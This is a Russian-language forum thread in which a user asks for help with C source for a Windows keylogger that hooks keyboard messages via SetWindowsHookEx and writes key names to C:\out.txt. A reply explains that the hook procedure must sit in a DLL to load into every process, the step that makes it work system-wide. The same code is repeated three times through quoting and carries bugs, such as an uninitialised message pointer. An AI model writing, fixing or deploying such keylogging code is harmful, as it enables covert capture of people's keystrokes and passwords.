Key Sniffing
Отлавливаются char'ы - записываются в файл
#include <windows.h>
#include <stdio.h>
FILE* save;
HHOOK curr_hook;
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG* hMsg;
save=fopen("C:\\out.txt","wb");
RegisterHotKey(NULL,105,MOD_ALT,'Q');
curr_hook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,NULL,NULL); // необходимо
//отловить через WH_GETMESSAGE обязательно
while(GetMessage(hMsg,NULL,0,0));
{
TranslateMessage(hMsg);
DispatchMessage(hMsg);
}
fclose(save);
return 0;
}
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
MSG* mMsg=(MSG*)lParam;
switch(mMsg->message)
{
case WM_HOTKEY:
{
if(mMsg->wParam==105)
{
PostQuitMessage(0);
}
}break;
case WM_KEYDOWN:
{
TCHAR key[20];
GetKeyNameText(mMsg->lParam,key,19);
fwrite(key,strlen(key),1,save); //как я понял, глючит из-за этого
}break;
}
return CallNextHookEx(curr_hook,code,wParam,lParam);
}
GetMsgProc должна находиться в dll, так как при
установленном системном хуке, dll загружается в адрессное пространство каждого запущенного процесса и каждого вновь загружаемого процесса.
Цитата:
Originally posted by _ReZzZ_
Помогите с кодом, плз...
Отлавливаются char'ы - записываются в файл
#include <windows.h>
#include <stdio.h>
FILE* save;
HHOOK curr_hook;
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG* hMsg;
save=fopen("C:\\out.txt","wb");
RegisterHotKey(NULL,105,MOD_ALT,'Q');
curr_hook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,NULL,NULL); // необходимо
//отловить через WH_GETMESSAGE обязательно
while(GetMessage(hMsg,NULL,0,0));
{
TranslateMessage(hMsg);
DispatchMessage(hMsg);
}
fclose(save);
return 0;
}
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
MSG* mMsg=(MSG*)lParam;
switch(mMsg->message)
{
case WM_HOTKEY:
{
if(mMsg->wParam==105)
{
PostQuitMessage(0);
}
}break;
case WM_KEYDOWN:
{
TCHAR key[20];
GetKeyNameText(mMsg->lParam,key,19);
fwrite(key,strlen(key),1,save); //как я понял, глючит из-за этого
}break;
}
return CallNextHookEx(curr_hook,code,wParam,lParam);
}
Помогите с кодом, плз...
Отлавливаются char'ы - записываются в файл
#include <windows.h>
#include <stdio.h>
FILE* save;
HHOOK curr_hook;
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG* hMsg;
save=fopen("C:\\out.txt","wb");
RegisterHotKey(NULL,105,MOD_ALT,'Q');
curr_hook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,NULL,NULL); // необходимо
//отловить через WH_GETMESSAGE обязательно
while(GetMessage(hMsg,NULL,0,0));
{
TranslateMessage(hMsg);
DispatchMessage(hMsg);
}
fclose(save);
return 0;
}
LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
MSG* mMsg=(MSG*)lParam;
switch(mMsg->message)
{
case WM_HOTKEY:
{
if(mMsg->wParam==105)
{
PostQuitMessage(0);
}
}break;
case WM_KEYDOWN:
{
TCHAR key[20];
GetKeyNameText(mMsg->lParam,key,19);
fwrite(key,strlen(key),1,save); //как я понял, глючит из-за этого
}break;
}
return CallNextHookEx(curr_hook,code,wParam,lParam);
}